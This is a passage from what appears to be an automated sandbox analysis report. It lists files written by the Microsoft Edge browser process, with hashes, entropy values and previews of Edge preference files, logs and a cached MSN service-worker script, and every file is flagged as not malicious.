Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.11837215286181
Encrypted:	false
SSDEEP:	192:stBkdphsBoTsZihUkbBB8YbV+FBjQA66W5aFIMYrPbYJ:stBQhsBoTfh1bGhQx6W5aTY8
MD5:	B5E90688EDF3EFED75B3014F1147EF71
SHA1:	ECB5A8A488B62F342061805D00BE0DA034E78ABF
SHA-256:	AF83A0296C97075FBEA48CFFF2492165B88F5EBD78878860ADA329395912F55B
SHA-512:	9B1AF02D60FAAB15AF82869C403481B51EC2FFA573E37ACFB882E9006A8138BA279718C905DB6D84FC501C0E0758ACE0D95C10EEA165195E77CA86A2CEC13E51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40386.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.11837215286181
Encrypted:	false
SSDEEP:	192:stBkdphsBoTsZihUkbBB8YbV+FBjQA66W5aFIMYrPbYJ:stBQhsBoTfh1bGhQx6W5aTY8
MD5:	B5E90688EDF3EFED75B3014F1147EF71
SHA1:	ECB5A8A488B62F342061805D00BE0DA034E78ABF
SHA-256:	AF83A0296C97075FBEA48CFFF2492165B88F5EBD78878860ADA329395912F55B
SHA-512:	9B1AF02D60FAAB15AF82869C403481B51EC2FFA573E37ACFB882E9006A8138BA279718C905DB6D84FC501C0E0758ACE0D95C10EEA165195E77CA86A2CEC13E51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44320.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.11837215286181
Encrypted:	false
SSDEEP:	192:stBkdphsBoTsZihUkbBB8YbV+FBjQA66W5aFIMYrPbYJ:stBQhsBoTfh1bGhQx6W5aTY8
MD5:	B5E90688EDF3EFED75B3014F1147EF71
SHA1:	ECB5A8A488B62F342061805D00BE0DA034E78ABF
SHA-256:	AF83A0296C97075FBEA48CFFF2492165B88F5EBD78878860ADA329395912F55B
SHA-512:	9B1AF02D60FAAB15AF82869C403481B51EC2FFA573E37ACFB882E9006A8138BA279718C905DB6D84FC501C0E0758ACE0D95C10EEA165195E77CA86A2CEC13E51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b85f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.11837215286181
Encrypted:	false
SSDEEP:	192:stBkdphsBoTsZihUkbBB8YbV+FBjQA66W5aFIMYrPbYJ:stBQhsBoTfh1bGhQx6W5aTY8
MD5:	B5E90688EDF3EFED75B3014F1147EF71
SHA1:	ECB5A8A488B62F342061805D00BE0DA034E78ABF
SHA-256:	AF83A0296C97075FBEA48CFFF2492165B88F5EBD78878860ADA329395912F55B
SHA-512:	9B1AF02D60FAAB15AF82869C403481B51EC2FFA573E37ACFB882E9006A8138BA279718C905DB6D84FC501C0E0758ACE0D95C10EEA165195E77CA86A2CEC13E51
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379757632293900","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568024908994013
Encrypted:	false
SSDEEP:	768:JLGwrc/hWPuMfXe8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3+tbnrwagpTtub:JLGwrc/hWPuMfXeu1ja6ob0DtM
MD5:	42CFC8D491BD406A5DA5503F995988B2
SHA1:	2BAD7A8FC5C5A1706487923C2950AFE2541D051D
SHA-256:	71762A6570E0D5338977F6C743CBB57DBA8A4F2FB5B858EC8AC580F51EC40B4F
SHA-512:	84D1ADC1C73BB8B2FEEE910859BCBD253E849A363D9164FF7FF524C1BFE77689E58FB066593EAB0C65B20A18349FCC9C502AFA029734991709B3B658A67E5160
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379757631686215","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379757631686215","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f5da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568024908994013
Encrypted:	false
SSDEEP:	768:JLGwrc/hWPuMfXe8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3+tbnrwagpTtub:JLGwrc/hWPuMfXeu1ja6ob0DtM
MD5:	42CFC8D491BD406A5DA5503F995988B2
SHA1:	2BAD7A8FC5C5A1706487923C2950AFE2541D051D
SHA-256:	71762A6570E0D5338977F6C743CBB57DBA8A4F2FB5B858EC8AC580F51EC40B4F
SHA-512:	84D1ADC1C73BB8B2FEEE910859BCBD253E849A363D9164FF7FF524C1BFE77689E58FB066593EAB0C65B20A18349FCC9C502AFA029734991709B3B658A67E5160
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379757631686215","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379757631686215","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.814661473585884
Encrypted:	false
SSDEEP:	48:F2emwMrd68fBlkrdod+Ird6/BlKrd1Bl7:F1mwMx68YxooIx6+x1
MD5:	3E9FB17F69F06E3C7A46F17BC258DE67
SHA1:	49DC390A1EE082AD265F722F0BE5B1FD9B90D319
SHA-256:	641B04826238BA9EB9324BA9A57D23C06E78FC264EA5542EC83C3B0EE5F8559C
SHA-512:	9C251D219A04C85CCDFADC4643B4818700E902A32E6325D3A8C82415F4AE13F97DE62D5C5E82D4DDD27CA7BA4B14AD344B0DC0AF64558F1452C798B544691475
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..R;.................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.175686250872526
Encrypted:	false
SSDEEP:	6:cF4s1923oH+TcwtE/a252KLlmF1rM+q2P923oH+TcwtE/a2ZIFUv:xYeb8xLmM+v4Yeb8J2FUv
MD5:	9A83B910079572CF1733F9718DED663C
SHA1:	D7A0D136DF2A153BF5FEAE2D60F159A8D9D407EC
SHA-256:	F8416BD35380944B70F622F07B7C0DE040EAB39947A41F56828E8FE3DB0E6700
SHA-512:	4010EC8466D5107E85F03F9C688AC0A94BFE4923F58D96DC28072C5105B082535697DA057B1962D95B5311432BB608145C6A7F96CEE373C499A56D64DBA0893F
Malicious:	false
Preview:	2024/12/27-02:20:49.837 138c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/12/27-02:20:49.858 138c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114579
Entropy (8bit):	5.578627689108091
Encrypted:	false
SSDEEP:	1536:kU906yxPXfOxr1lhCe1nL/ImL/rBZXECjPXNtsf387ekFj6lP:J9LyxPXfOxr1lMe1nL/5L/TXE6n7dk
MD5:	E9C75B363D2A8CCF3411B5EE50193293
SHA1:	C430CBCE7FD114AC6C0366BD1217A93DCD6D6374
SHA-256:	1CE8278D380D9A3BE5F56A9269AF3849566ED722631A53A407083A348B70DFB6
SHA-512:	0CA8109BD57F8B4F05E511FCE772026759274138EECDDA3A2DE509439661933B0B556FBEBC6929A0276E60AE64BE4F6C09420E4C22CF1AD1E8454E8802DDCFC4
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189105
Entropy (8bit):	6.387104041490994
Encrypted:	false
SSDEEP:	3072:2MR/cGSU/wvXbwA54HL/8cTuyGvgfqyc56IngTU9LLd:p/wvEAKL/9qmfq8Qd
MD5:	8588BE8FCEEB9E81D7053ED3C785E8F4
SHA1:	DE5E673C283A23B6920355F165D1908F9EACD961
SHA-256:	8D8C37FE9A875C0EE0B1F813456280F7C7D5EC9E3A08C3E6B2BBD8434A7E385E
SHA-512:	B775962D29B411A82997AD38DDA776F84D3288E21227319A8F89D02575CAEE46C7BE9ADA8431C1CF21FFC424F1A2396C83BEB834FACF8B8FFDF3DBB8218D5EAE
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x.X........,T.8..`,.....L`.....,T...`......L`......Rc.+-.....exports...Rc.......module....Rc.r.....define....Rbz.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q....2.{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....@[...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:nIp0Xl/lYV/lxEstllQNObKln:ICYWs+Eqn
MD5:	291396F7A5FE67F96EC72B51F768F233
SHA1:	D303BCCD788843925AE4956E92658E4FF079E42C
SHA-256:	11C59E4E624C812D55B813B6EFE78BBE953F1876DB60BFDBFB49976B2BFB31DF
SHA-512:	A6FB9D5E0466DE981014FE25A190E5A8A6088D5BEBEB3A5AD64E4611C5D59C41F1DFD9ACEDCF8F09DC1823F31502FF01255CAE9C325D90FFF3C267A6DCFD2BC7
Malicious:	false
Preview:	@.....V.oy retne.........................X....,.................\.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:nIp0Xl/lYV/lxEstllQNObKln:ICYWs+Eqn
MD5:	291396F7A5FE67F96EC72B51F768F233
SHA1:	D303BCCD788843925AE4956E92658E4FF079E42C
SHA-256:	11C59E4E624C812D55B813B6EFE78BBE953F1876DB60BFDBFB49976B2BFB31DF
SHA-512:	A6FB9D5E0466DE981014FE25A190E5A8A6088D5BEBEB3A5AD64E4611C5D59C41F1DFD9ACEDCF8F09DC1823F31502FF01255CAE9C325D90FFF3C267A6DCFD2BC7
Malicious:	false
Preview:	@.....V.oy retne.........................X....,.................\.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43fd4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:nIp0Xl/lYV/lxEstllQNObKln:ICYWs+Eqn
MD5:	291396F7A5FE67F96EC72B51F768F233
SHA1:	D303BCCD788843925AE4956E92658E4FF079E42C
SHA-256:	11C59E4E624C812D55B813B6EFE78BBE953F1876DB60BFDBFB49976B2BFB31DF
SHA-512:	A6FB9D5E0466DE981014FE25A190E5A8A6088D5BEBEB3A5AD64E4611C5D59C41F1DFD9ACEDCF8F09DC1823F31502FF01255CAE9C325D90FFF3C267A6DCFD2BC7
Malicious:	false
Preview:	@.....V.oy retne.........................X....,.................\.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5405
Entropy (8bit):	3.4076827311133258
Encrypted:	false
SSDEEP:	96:g9yBYPe9Xp+fhMD+ViV42Ll9iSra1DZhpXQxsZh7Y:hV9Xp+kKiZLl9iSra5ZhKxc7
MD5:	C6819D3075D82D1CD946E7BADD74F59F
SHA1:	25402AA672A6EE7F41475334C92D78FD4905C4AB
SHA-256:	9FCCC9D0C0FB69721CB35C0CA0556E8B41BEF8C8D9C6194FFC0724DE7FF3148B
SHA-512:	32D4A14DEF6127E95611833884D5F32918E1025F1C377455F0803928BFF8D07378CF9B36173516D53DA2A635AAF336C9E3BA69EC2A9E3DFD8305BF22A953518F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................i.b................next-map-id.1.Cnamespace-715d389a_cced_4d8f_ac4b_049e8279bab0-https://ntp.msn.com/.0V.e................V.e................V.e..................`..................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.c.g.-.c.r.o.s.a.l.o.c.1.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.1.s.-.f.c.r.y.p.t.,.p.r.g.-.c.o.o.k.i.e.s.y.n.c.,.p.r.g.-.w.p.o.-.p.n.p.c.,.1.s.-.n.t.f.2.-.e.v.l.c.f.c.,.1.s.-.n.t.f.2.-.b.k.n.l.c.,.1.s.-.n.t.f.2.-.i.p.t.l.c.,.1.s.-.p.r.2.-.e.v.l.c.,.1.s.-.p.r.2.-.e.v.l.c.b.b.,.1.s.-.p.r.2.-.e.v.l.c.h.,.1.s.-.p.r.2.-.e.v.l.c.n.,.1.s.-.p.r.2.-.e.v.l.c.r.p.,.1.s.-.p.r.2.-.e.v.l.c.t.,.1.s.-.p.r.g.2.-.l.i.f.e.c.y.c.l.e.,.1.s.-.w.p.o.-.p.r.2.-.n.c.a.r.d.,.1.s.-.w.p.o.-.p.r

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.113466286293974
Encrypted:	false
SSDEEP:	6:cF+sx+q2P923oH+TcwtrQMxIFUt8PF+oBQmZmw+PF+odEVkwO923oH+TcwtrQMFd:Mx+v4YebCFUt8/ym/+/qV5LYebtJ
MD5:	23E4079A4EAB799BC48DF650FC6B4D80
SHA1:	8DFE3D0DD7455C8E8DD9186EA8C1D2A3594B49E2
SHA-256:	E3651FF54E6520A450E465444E659367AA6F03972946CA06B0200F2BD70BE399
SHA-512:	13A35657570AFAB1265440CDBE673479B7BBC3F50BDFFF79D5F41ABCA298EB3561854C0C57DB738C17FD1EEA9765C5D3FEA2CC7F26296A302982B97E6D51B5EC
Malicious:	false
Preview:	2024/12/27-02:20:32.501 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/27-02:20:32.545 1cbc Recovering log #3.2024/12/27-02:20:32.548 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.113466286293974
Encrypted:	false
SSDEEP:	6:cF+sx+q2P923oH+TcwtrQMxIFUt8PF+oBQmZmw+PF+odEVkwO923oH+TcwtrQMFd:Mx+v4YebCFUt8/ym/+/qV5LYebtJ
MD5:	23E4079A4EAB799BC48DF650FC6B4D80
SHA1:	8DFE3D0DD7455C8E8DD9186EA8C1D2A3594B49E2
SHA-256:	E3651FF54E6520A450E465444E659367AA6F03972946CA06B0200F2BD70BE399
